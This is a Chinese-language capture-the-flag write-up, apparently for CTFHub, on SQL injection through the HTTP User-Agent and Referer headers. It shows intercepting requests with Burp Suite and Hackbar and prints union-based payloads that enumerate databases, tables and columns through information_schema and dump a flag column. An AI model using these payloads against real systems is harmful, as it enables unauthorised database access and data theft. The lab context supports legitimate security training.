UA注入
Refer注入
UA是什么?UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面
一般来说,普通的 SQL 注入是对 URL 及参数进行的,但这里攻击者却将 SQL 查询语句隐藏在了 HTTP 头部的User-Agent字段之中 ,也称UA注入
查询中用到的参数:
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
前面题目提示我们select * from Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0,用bp抓住刷新题目页面时候的包,尝试在User-Agent进行注入
在不确定是否能符合注入的条件,先在User-Agent的后面输入id=1,要让可控参数影响页面的显示结果
能成功回显,能符合sql的条件,我们尝试能否回显数据库
能成功查询到一个叫sqli的数据库,或者用下面的命令查询所有的数据库
id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
#查询所有数据库
开始查询表的名字,手法和整数型类似
查询出两个表,fihxgqkvak和news,用fihxgqkvak查询字段内容
查找到flag,第一次查询到flag的时候,flag答案报错,用同样的方式再查一遍,flag又报对了???迷惑的我,迷惑的ctfhub
referer是什么?
Reffer是HTTP请求header的一部分,当浏览器向web 服务器发送请求的时候,头信息里就有包含,比如在www.Firefox.com 里有一个www.baidu.com链接,那么点击这个链接 ,它的header信息里就会看见有:referer=http://www.Firefox.com,说明是被引用过来的
我们抓住了这个刷新的页面,但是并没有找到referer,和referer的内容,原因是我们通过url直接访问图片等等资源的时候,并不会出现referer,所有我们可以通过Hackbar,创造一个post请求
再次重放
找到了referer和后面的URL,根据题目要求,我们尝试在referer后面进行SQL注入
页面给出了相对应的回显,然后进行爆库爆表爆字段爆字段内容
id=1 and 1=2 union select 1,database()
爆表
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
爆字段
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='rapshhmepv'
查看flag
id=1 and 1=2 union select 1,group_concat(clnunqanuf) from sqli.rapshhmepv